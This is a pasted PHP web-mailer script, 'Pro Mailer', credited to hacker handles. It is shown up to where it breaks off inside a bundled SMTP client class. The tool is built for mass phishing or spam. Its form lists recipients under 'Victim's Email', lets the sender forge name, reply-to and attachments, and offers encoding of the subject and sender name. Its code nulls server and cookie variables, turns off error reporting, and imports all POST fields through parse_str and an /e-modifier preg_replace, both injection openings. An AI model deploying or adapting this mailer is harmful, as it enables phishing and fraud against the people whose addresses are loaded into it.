· 10 years ago · Apr 08, 2016, 05:48 PM
1<?
2// @~ Pro Mailer
3$_SERVER = NULL;
4$_ENV = NULL;
5$_GET = NULL;
6$_COOKIE = NULL;
7
8error_reporting(0);
9function query_str($params){
10$str = '';
11foreach ($params as $key => $value) {
12$str .= (strlen($str) < 1) ? '' : '&';
13$str .= $key . '=' . rawurlencode($value);
14}
15return ($str);
16}
17function lrtrim($string){
18return stripslashes(ltrim(rtrim($string)));
19}
20if(isset($_POST['action'] ) ){
21
22$b = query_str($_POST);
23parse_str($b);
24$sslclick=lrtrim($sslclick);
25$action=lrtrim($action);
26$message=lrtrim($message);
27$emaillist=lrtrim($emaillist);
28$from=lrtrim($from);
29$reconnect=lrtrim($reconnect);
30$epriority=lrtrim($epriority);
31$my_smtp=lrtrim($my_smtp);
32$ssl_port=lrtrim($ssl_port);
33$smtp_username=lrtrim($smtp_username);
34$smtp_password=lrtrim($smtp_password);
35$replyto=lrtrim($replyto);
36$subject_base=lrtrim($subject);
37$realname_base=lrtrim($realname);
38$file_name=$_FILES['file']['name'];
39$file=$_FILES['file']['tmp_name'];
40$urlz=lrtrim($urlz);
41$contenttype=lrtrim($contenttype);
42$encode_text=$_POST['encode'];
43
44
45 $message = urlencode($message);
46 $message = ereg_replace("%5C%22", "%22", $message);
47 $message = urldecode($message);
48 $message = stripslashes($message);
49 $subject = stripslashes($subject);
50 if ($encode_text == "yes") {
51 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
52 $subject = str_replace(' ', '_', $subject);
53 $subject = "=?UTF-8?Q?$subject?=";
54 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
55 $realname = str_replace(' ', '_', $realname);
56 $realname = "=?UTF-8?Q?$realname?=";
57 }
58}
59?>
60
61<html>
62
63<head>
64
65<title>Pro Mailer</title>
66
67<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
68
69<script src='http://static.tumblr.com/qo0gonz/JsJn0gihy/jquery-1.6.2.js'></script>
70
71<style type="text/css">
72<!--
73.style1 {
74 font-family: Geneva, Arial, Helvetica, sans-serif;
75 font-size: 12px;
76}
77body{
78margin:0px;
79}
80.bgup {
81background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
82}
83
84.cadre {
85background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
86}
87
88.uibutton {
89 position: relative;
90 z-index: 1;
91 overflow: visible;
92 display: inline-block;
93 padding: 0.3em 0.6em 0.375em;
94 border: 1px solid #01A9DB;
95 border-bottom-color: #01A9DB;
96
97 margin: 0;
98 text-decoration: none;
99 text-align: center;
100 font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
101 white-space: nowrap;
102 cursor: pointer;
103 /* outline: none; */
104 color: #f9f9f9;
105 background-color: #eee;
106 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
107 background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
108 background-image: -o-linear-gradient(#01A9DB, #01A9DB);
109 background-image: linear-gradient(#01A9DB, #01A9DB);
110
111 /* IE hacks */
112
113 *display: inline;
114
115}
116
117.uibutton:hover,
118.uibutton:focus,
119.uibutton:active {
120 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
121}
122
123.uibutton:active {
124 border-color: #01A9DB;
125 background: #01A9DB;
126 filter: none;
127 -webkit-box-shadow: none;
128 -moz-box-shadow: none;
129 box-shadow: none;
130}
131
132/* overrides extra padding on button elements in Firefox */
133.uibutton::-moz-focus-inner {
134 padding: 0;
135 border: 0;
136}
137
138
139
140-->
141</style>
142<style type="text/css">
143<!--
144.style1 {
145 font-size: 10px;
146 font-family: Geneva, Arial, Helvetica, sans-serif;
147}
148-->
149</style>
150</head>
151<body bgcolor="#f9f9f9" class="bgup">
152<div class="cadre" style="height:10px;margin:0px auto;"></div>
153<div style="width:80%;margin:0 auto;">
154<p align="center"><font size="5" face="Bauhaus 93"><font color="#FF0000">*</font><font color="#008609">*</font><font color="#FF0000">*</font> Mailer Inbox Sender </font><font size="2" face="Bauhaus 93">Re-Shared By Xyb3r D3vil & 1337 H@x0r </font><font size="5" face="Bauhaus 93"><font color="#FF0000">*</font><font color="#008609">*</font><font color="#FF0000">*</font></font></p>
155<form name="form1" method="post" action="" enctype="multipart/form-data">
156
157 <br>
158
159 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
160
161 <tr>
162
163 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
164
165 <b>
166
167 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
168
169 </tr>
170 <tr >
171
172 <td width="10%" height="22" style="padding:10px;">
173
174 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
175
176 </td>
177
178 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
179
180 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
181
182 </font></td>
183
184 <td width="31%" height="22" style="padding:10px;">
185
186 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
187
188 </td>
189
190 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
191
192 <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
193
194 </font></td>
195
196 </tr>
197 <tr>
198
199 <td width="10%" height="22" style="padding:10px;">
200
201 <div align="right">
202 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
203
204 </td>
205
206 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
207
208 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
209 (optional)</font></td>
210
211 <td width="31%" height="22" style="padding:10px;">
212
213 <div align="right">
214 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
215 Smtp:</font></div>
216
217 </td>
218
219 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
220
221 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
222
223 </font></td>
224
225 </tr>
226 <tr>
227
228 <td width="10%" height="22" style="padding:10px;">
229
230 <p align="right">
231 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
232
233 <td width="18%" height="22" style="padding:10px;">
234 <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
235
236 <td width="31%" height="22" style="padding:10px;">
237
238 <p align="right">
239 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
240 After:</font></td>
241
242 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
243
244 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
245 EMAILS</font></td>
246
247 </tr>
248 <tr>
249
250 <td width="100%" height="39" colspan="4" style="padding:10px;">
251
252 <p align="center">
253 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
254 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
255
256 </tr>
257
258 <tr>
259
260 <td width="10%" height="19" style="padding:10px;">
261
262 </td>
263
264 <td width="18%" height="19" style="padding:10px;"> </td>
265
266 <td width="31%" height="19" style="padding:10px;">
267
268 </td>
269
270 <td width="41%" height="19" style="padding:10px;"> </td>
271
272 </tr>
273
274 <tr>
275
276 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
277
278 <b>
279
280 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
281
282 </tr>
283 <tr>
284
285 <td width="10%" height="22" style="padding:10px;">
286 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
287 </td>
288
289 <td width="59%" height="22" style="padding:10px;" colSpan="3">
290 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
291
292<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
293
294 </font></td>
295
296 </tr>
297 <tr>
298
299 <td width="10%" height="22" style="padding:10px;">
300
301 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
302
303 Email:</font></div>
304
305 </td>
306
307 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
308
309 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
310
311 </font></td>
312
313 <td width="31%" height="22" style="padding:10px;">
314
315 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
316
317 Name:</font></div>
318
319 </td>
320
321 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
322
323 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
324
325 </font></td>
326
327 </tr>
328 <tr>
329
330 <td width="10%" height="22" style="padding:10px;">
331
332 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
333
334 </td>
335
336 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
337
338 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
339
340 </font></td>
341
342 <td width="31%" height="22" style="padding:10px;">
343
344 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
345 Email Priority:</font></td>
346
347 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
348
349 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
350 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
351 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
352 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
353 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
354 </select></td>
355
356 </tr>
357
358 <tr>
359
360 <td width="10%" height="22" style="padding:10px;">
361
362 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
363
364 </td>
365
366 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
367
368 <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
369
370 </font></td>
371
372 </tr>
373
374 <tr>
375
376 <td width="10%" height="22" style="padding:10px;">
377
378 </td>
379
380 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
381
382 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
383 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
384 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
385 </select></font></td>
386
387 </tr>
388
389 <tr valign="top">
390
391<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
392<br>Message</br>
393 <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
394
395 <br>
396
397 <input type="radio" name="contenttype" value="plain" >
398
399 Plain
400
401 <input type="radio" name="contenttype" value="html" checked>
402
403 HTML
404
405 <input type="hidden" name="action" value="send">
406 <input class="uibutton" type="submit" value="Send Message">
407 <br><br><center>
408 <marquee direction="center" height="20" width="360">
409 <embed src="" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1">
410 <b><font color="#01A9DB" face="Verdana, Arial, Helvetica, serif" size="2">Xyb3r D3vil & 1337 H@x0r</font></b></marquee></center>
411 </font></td>
412
413 <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
414<br>Victim's Email</br>
415 <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
416
417 </font></td>
418
419 </tr>
420
421 </table>
422
423</form>
424
425
426
427<?
428
429if ($action){
430 if (!$from && !$subject && !$message && !$emaillist){
431 print "<script>alert('Please complete all fields before sending your message.'); </script>";
432 die(); }
433
434class SMTP
435{
436 /**
437 * SMTP server port
438 * @var int
439 */
440 var $SMTP_PORT = 25;
441
442 /**
443 * SMTP reply line ending
444 * @var string
445 */
446 var $CRLF = "\r\n";
447
448 /**
449 * Sets whether debugging is turned on
450 * @var bool
451 */
452 var $do_debug; # the level of debug to perform
453
454 /**
455 * Sets VERP use on/off (default is off)
456 * @var bool
457 */
458 var $do_verp = false;
459
460 /**#@+
461 * @access private
462 */
463 var $smtp_conn; # the socket to the server
464 var $error; # error if any on the last call
465 var $helo_rply; # the reply the server sent to us for HELO
466 /**#@-*/
467
468 /**
469 * Initialize the class so that the data is in a known state.
470 * @access public
471 * @return void
472 */
473 function SMTP() {
474 $this->smtp_conn = 0;
475 $this->error = null;
476 $this->helo_rply = null;
477
478 $this->do_debug = 0;
479 }
480
481 /*************************************************************
482 * CONNECTION FUNCTIONS *
483 ***********************************************************/
484
485 /**
486 * Connect to the server specified on the port specified.
487 * If the port is not specified use the default SMTP_PORT.
488 * If tval is specified then a connection will try and be
489 * established with the server for that number of seconds.
490 * If tval is not specified the default is 30 seconds to
491 * try on the connection.
492 *
493 * SMTP CODE SUCCESS: 220
494 * SMTP CODE FAILURE: 421
495 * @access public
496 * @return bool
497 */
498 function Connect($host,$port=0,$tval=30) {
499 # set the error val to null so there is no confusion
500 $this->error = null;
501
502 # make sure we are __not__ connected
503 if($this->connected()) {
504 # ok we are connected! what should we do?
505 # for now we will just give an error saying we
506 # are already connected
507 $this->error = array("error" => "Already connected to a server");
508 return false;
509 }
510
511 if(empty($port)) {
512 $port = $this->SMTP_PORT;
513 }
514
515 #connect to the smtp server
516 $this->smtp_conn = fsockopen($host, # the host of the server
517 $port, # the port to use
518 $errno, # error number if any
519 $errstr, # error message if any
520 $tval); # give up after ? secs
521 # verify we connected properly
522 if(empty($this->smtp_conn)) {
523 $this->error = array("error" => "Failed to connect to server",
524 "errno" => $errno,
525 "errstr" => $errstr);
526 if($this->do_debug >= 1) {
527 echo "SMTP -> ERROR: " . $this->error["error"] .
528 ": $errstr ($errno)" . $this->CRLF;
529 }
530 return false;
531 }
532
533 # sometimes the SMTP server takes a little longer to respond
534 # so we will give it a longer timeout for the first read
535 // Windows still does not have support for this timeout function
536 if(substr(PHP_OS, 0, 3) != "WIN")
537 socket_set_timeout($this->smtp_conn, $tval, 0);
538
539 # get any announcement stuff
540 $announce = $this->get_lines();
541
542 # set the timeout of any socket functions at 1/10 of a second
543 //if(function_exists("socket_set_timeout"))
544 // socket_set_timeout($this->smtp_conn, 0, 100000);
545
546 if($this->do_debug >= 2) {
547 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
548 }
549
550 return true;
551 }
552
553 /**
554 * Performs SMTP authentication. Must be run after running the
555 * Hello() method. Returns true if successfully authenticated.
556 * @access public
557 * @return bool
558 */
559 function Authenticate($username, $password) {
560 // Start authentication
561 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
562
563 $rply = $this->get_lines();
564 $code = substr($rply,0,3);
565
566 if($code != 334) {
567 $this->error =
568 array("error" => "AUTH not accepted from server",
569 "smtp_code" => $code,
570 "smtp_msg" => substr($rply,4));
571 if($this->do_debug >= 1) {
572 echo "SMTP -> ERROR: " . $this->error["error"] .
573 ": " . $rply . $this->CRLF;
574 }
575 return false;
576 }
577
578 // Send encoded username
579 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
580
581 $rply = $this->get_lines();
582 $code = substr($rply,0,3);
583
584 if($code != 334) {
585 $this->error =
586 array("error" => "Username not accepted from server",
587 "smtp_code" => $code,
588 "smtp_msg" => substr($rply,4));
589 if($this->do_debug >= 1) {
590 echo "SMTP -> ERROR: " . $this->error["error"] .
591 ": " . $rply . $this->CRLF;
592 }
593 return false;
594 }
595
596 // Send encoded password
597 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
598
599 $rply = $this->get_lines();
600 $code = substr($rply,0,3);
601
602 if($code != 235) {
603 $this->error =
604 array("error" => "Password not accepted from server",
605 "smtp_code" => $code,
606 "smtp_msg" => substr($rply,4));
607 if($this->do_debug >= 1) {
608 echo "SMTP -> ERROR: " . $this->error["error"] .
609 ": " . $rply . $this->CRLF;
610 }
611 return false;
612 }
613
614 return true;
615 }
616
617 /**
618 * Returns true if connected to a server otherwise false
619 * @access private
620 * @return bool
621 */
622 function Connected() {
623 if(!empty($this->smtp_conn)) {
624 $sock_status = socket_get_status($this->smtp_conn);
625 if($sock_status["eof"]) {
626 # hmm this is an odd situation... the socket is
627 # valid but we are not connected anymore
628 if($this->do_debug >= 1) {
629 echo "SMTP -> NOTICE:" . $this->CRLF .
630 "EOF caught while checking if connected";
631 }
632 $this->Close();
633 return false;
634 }
635 return true; # everything looks good
636 }
637 return false;
638 }
639
640 /**
641 * Closes the socket and cleans up the state of the class.
642 * It is not considered good to use this function without
643 * first trying to use QUIT.
644 * @access public
645 * @return void
646 */
647 function Close() {
648 $this->error = null; # so there is no confusion
649 $this->helo_rply = null;
650 if(!empty($this->smtp_conn)) {
651 # close the connection and cleanup
652 fclose($this->smtp_conn);
653 $this->smtp_conn = 0;
654 }
655 }
656
657 /***************************************************************
658 * SMTP COMMANDS *
659 *************************************************************/
660
661 /**
662 * Issues a data command and sends the msg_data to the server
663 * finializing the mail transaction. $msg_data is the message
664 * that is to be send with the headers. Each header needs to be
665 * on a single line followed by a <CRLF> with the message headers
666 * and the message body being seperated by and additional <CRLF>.
667 *
668 * Implements rfc 821: DATA <CRLF>
669 *
670 * SMTP CODE INTERMEDIATE: 354
671 * [data]
672 * <CRLF>.<CRLF>
673 * SMTP CODE SUCCESS: 250
674 * SMTP CODE FAILURE: 552,554,451,452
675 * SMTP CODE FAILURE: 451,554
676 * SMTP CODE ERROR : 500,501,503,421
677 * @access public
678 * @return bool
679 */
680 function Data($msg_data) {
681 $this->error = null; # so no confusion is caused
682
683 if(!$this->connected()) {
684 $this->error = array(
685 "error" => "Called Data() without being connected");
686 return false;
687 }
688
689 fputs($this->smtp_conn,"DATA" . $this->CRLF);
690
691 $rply = $this->get_lines();
692 $code = substr($rply,0,3);
693
694 if($this->do_debug >= 2) {
695 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
696 }
697
698 if($code != 354) {
699 $this->error =
700 array("error" => "DATA command not accepted from server",
701 "smtp_code" => $code,
702 "smtp_msg" => substr($rply,4));
703 if($this->do_debug >= 1) {
704 echo "SMTP -> ERROR: " . $this->error["error"] .
705 ": " . $rply . $this->CRLF;
706 }
707 return false;
708 }
709
710 # the server is ready to accept data!
711 # according to rfc 821 we should not send more than 1000
712 # including the CRLF
713 # characters on a single line so we will break the data up
714 # into lines by \r and/or \n then if needed we will break
715 # each of those into smaller lines to fit within the limit.
716 # in addition we will be looking for lines that start with
717 # a period '.' and append and additional period '.' to that
718 # line. NOTE: this does not count towards are limit.
719
720 # normalize the line breaks so we know the explode works
721 $msg_data = str_replace("\r\n","\n",$msg_data);
722 $msg_data = str_replace("\r","\n",$msg_data);
723 $lines = explode("\n",$msg_data);
724
725 # we need to find a good way to determine is headers are
726 # in the msg_data or if it is a straight msg body
727 # currently I am assuming rfc 822 definitions of msg headers
728 # and if the first field of the first line (':' sperated)
729 # does not contain a space then it _should_ be a header
730 # and we can process all lines before a blank "" line as
731 # headers.
732 $field = substr($lines[0],0,strpos($lines[0],":"));
733 $in_headers = false;
734 if(!empty($field) && !strstr($field," ")) {
735 $in_headers = true;
736 }
737
738 $max_line_length = 998; # used below; set here for ease in change
739
740 while(list(,$line) = @each($lines)) {
741 $lines_out = null;
742 if($line == "" && $in_headers) {
743 $in_headers = false;
744 }
745 # ok we need to break this line up into several
746 # smaller lines
747 while(strlen($line) > $max_line_length) {
748 $pos = strrpos(substr($line,0,$max_line_length)," ");
749
750 # Patch to fix DOS attack
751 if(!$pos) {
752 $pos = $max_line_length - 1;
753 }
754
755 $lines_out[] = substr($line,0,$pos);
756 $line = substr($line,$pos + 1);
757 # if we are processing headers we need to
758 # add a LWSP-char to the front of the new line
759 # rfc 822 on long msg headers
760 if($in_headers) {
761 $line = "\t" . $line;
762 }
763 }
764 $lines_out[] = $line;
765
766 # now send the lines to the server
767 while(list(,$line_out) = @each($lines_out)) {
768 if(strlen($line_out) > 0)
769 {
770 if(substr($line_out, 0, 1) == ".") {
771 $line_out = "." . $line_out;
772 }
773 }
774 fputs($this->smtp_conn,$line_out . $this->CRLF);
775 }
776 }
777
778 # ok all the message data has been sent so lets get this
779 # over with aleady
780 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
781
782 $rply = $this->get_lines();
783 $code = substr($rply,0,3);
784
785 if($this->do_debug >= 2) {
786 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
787 }
788
789 if($code != 250) {
790 $this->error =
791 array("error" => "DATA not accepted from server",
792 "smtp_code" => $code,
793 "smtp_msg" => substr($rply,4));
794 if($this->do_debug >= 1) {
795 echo "SMTP -> ERROR: " . $this->error["error"] .
796 ": " . $rply . $this->CRLF;
797 }
798 return false;
799 }
800 return true;
801 }
802
803 /**
804 * Expand takes the name and asks the server to list all the
805 * people who are members of the _list_. Expand will return
806 * back and array of the result or false if an error occurs.
807 * Each value in the array returned has the format of:
808 * [ <full-name> <sp> ] <path>
809 * The definition of <path> is defined in rfc 821
810 *
811 * Implements rfc 821: EXPN <SP> <string> <CRLF>
812 *
813 * SMTP CODE SUCCESS: 250
814 * SMTP CODE FAILURE: 550
815 * SMTP CODE ERROR : 500,501,502,504,421
816 * @access public
817 * @return string array
818 */
819 function Expand($name) {
820 $this->error = null; # so no confusion is caused
821
822 if(!$this->connected()) {
823 $this->error = array(
824 "error" => "Called Expand() without being connected");
825 return false;
826 }
827
828 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
829
830 $rply = $this->get_lines();
831 $code = substr($rply,0,3);
832
833 if($this->do_debug >= 2) {
834 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
835 }
836
837 if($code != 250) {
838 $this->error =
839 array("error" => "EXPN not accepted from server",
840 "smtp_code" => $code,
841 "smtp_msg" => substr($rply,4));
842 if($this->do_debug >= 1) {
843 echo "SMTP -> ERROR: " . $this->error["error"] .
844 ": " . $rply . $this->CRLF;
845 }
846 return false;
847 }
848
849 # parse the reply and place in our array to return to user
850 $entries = explode($this->CRLF,$rply);
851 while(list(,$l) = @each($entries)) {
852 $list[] = substr($l,4);
853 }
854
855 return $list;
856 }
857
858 /**
859 * Sends the HELO command to the smtp server.
860 * This makes sure that we and the server are in
861 * the same known state.
862 *
863 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
864 *
865 * SMTP CODE SUCCESS: 250
866 * SMTP CODE ERROR : 500, 501, 504, 421
867 * @access public
868 * @return bool
869 */
870 function Hello($host="") {
871 $this->error = null; # so no confusion is caused
872
873 if(!$this->connected()) {
874 $this->error = array(
875 "error" => "Called Hello() without being connected");
876 return false;
877 }
878
879 # if a hostname for the HELO was not specified determine
880 # a suitable one to send
881 if(empty($host)) {
882 # we need to determine some sort of appopiate default
883 # to send to the server
884 $host = "localhost";
885 }
886
887 // Send extended hello first (RFC 2821)
